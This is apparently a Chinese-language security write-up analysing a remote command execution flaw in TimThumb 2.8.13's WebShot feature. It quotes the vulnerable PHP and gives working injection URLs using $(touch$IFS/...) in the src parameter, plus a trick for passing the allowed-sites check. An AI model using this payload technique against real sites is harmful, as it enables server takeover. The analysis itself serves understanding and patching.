Wordpress TimThumb WebShot 远程命令执行漏洞分析

近日,著名的 Wordpress 插件 TimThumb 曝光远程命令执行漏洞 0day,TimThumb 中的 WebShot 功能在实现中调用了外部 Linux 命令导致存在命令执行漏洞。测试环境如下:

系统 Ubuntu 14.04 Server
TimThumb 版本 2.8.13

需要安装的依赖:

apt-get install CutyCapt Xvfb

WebShot 默认是被禁用的,需要先修改 timthumb.php,将 WEBSHOT_ENABLED 改为 ture:

if(! defined('WEBSHOT_ENABLED') )   define ('WEBSHOT_ENABLED',
true);

以下是已公布的 Payload:

http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat

从 Payload 中可看出,漏洞在 src 参数中触发。所以需要先搞清楚 src 是如何接受到的。以下是 timthumb.php 接受 src 参数的代码:

$this->src = $this->param('src');

好,现在知道 src 怎么得到内容后,再看看导致这个漏洞的关键代码:

if($this->param('webshot')){
	if(WEBSHOT_ENABLED){
	  $this->debug(3, "webshot param is set, so we're going to take a webshot.");
	  $this->serveWebshot();
	} else {

如果参数中 webshot 不为空,并且 WEBSHOT_ENABLED 为 true,就调用 serveWebshot 方法。再看 serveWebshot 方法的关键代码:

$url = $this->src;      # (1)
    if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){
      return $this->error("Invalid URL supplied.");
    }
    $url = preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=]+/', '', $url); # (2)


    if(WEBSHOT_XVFB_RUNNING){
      putenv('DISPLAY=:100.0');
      $command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile";      # (3)
    } else {
      $command = "$xv --server-args=\"-screen 0, {$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn --js-can-open-windows=off --url=\"$url\" --out-format=$format --out=$tempfile";
    }
    $this->debug(3, "Executing command: $command");
    $out = $command;      # (4)

上方代码,$url 变量的值来源于 $this->src 变量。在(2)中,对 $url 进行了正则替换,并在(3)中,将处理过 $url 变量执行拼接在了 $command 变量里后,在(4)中调用了外部 shell 命令。

漏洞的关键触发点是(2)中的正则表达式,可从这个正则表达式中看出,$url 变量里是不允许空格的出现,所以 Payload 中使用了 $IFS 这个 shell 变量,可以帮助在不打空格下完成命令执行,比如我可以在 Linux 下正常执行以下命令:

$ ls$IFS/boot
abi-3.11.0-19-generic         memtest86+.bin

以下是我在 Ubuntu14.04+Apache+PHP5 测试结果:

$ curl http://192.168.1.109/www/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?webshot=1&src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx) $ ls /tmp/
hello_lu4nx

我请求了带了 Payload 的 URL:

http://192.168.1.109/www/wp-content/plugins/wordpress-gallery-plugin/timthumb.php?webshot=1&src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx)

并成功在 /tmp 目录下创建了 hello_lu4nx 这个文件。

我的 Payload 和别人公布的有个不一样的关键细节,先看看别人 Payload 的 src 内容:

src=http://loncatlab.local/$(touch$IFS/tmp/longcat

再看看我的:

src=http://picasa.com/$(touch$IFS/tmp/hello_lu4nx)

对,不一样的就是 URL 中的 Host 地址,这个地址默认情况下必须是 timthumb.php 中全局变量 ALLOWED_SITES 的内容之一:

if(! isset($ALLOWED_SITES)){
  $ALLOWED_SITES = array (
    'flickr.com',
    'staticflickr.com',
    'picasa.com',
    'img.youtube.com',
    'upload.wikimedia.org',
    'photobucket.com',
    'imgur.com',
    'imageshack.us',
    'tinypic.com',
    'amazonaws.com'
  );
}

因为这里有段判断代码:

if($this->isURL){
      if(ALLOW_ALL_EXTERNAL_SITES){     # (1)
	$this->debug(2, "Fetching from all external sites is enabled.");
      } else {
	$this->debug(2, "Fetching only from selected external sites is enabled.");
	$allowed = false;
	foreach($ALLOWED_SITES as $site){
	  if ((strtolower(substr($this->url['host'],-strlen($site)-1))
 strtolower(".$site")) || (strtolower($this->url['host'])

strtolower($site))) {
	    $this->debug(3, "URL hostname {$this->url['host']} matches $site so allowing.");
	    $allowed = true;
	  }
	}

注意(1)中的判断代码:

if(ALLOW_ALL_EXTERNAL_SITES)

ALLOW_ALL_EXTERNAL_SITES默认是false的:
if(! defined('ALLOW_ALL_EXTERNAL_SITES') )  define
('ALLOW_ALL_EXTERNAL_SITES', false);

由于 ALLOW_ALL_EXTERNAL_SITES 为 false,所以会判断 Host 是否是 $ALLOWED_SITES 中列举的,不过这里没关系,随便选个即可。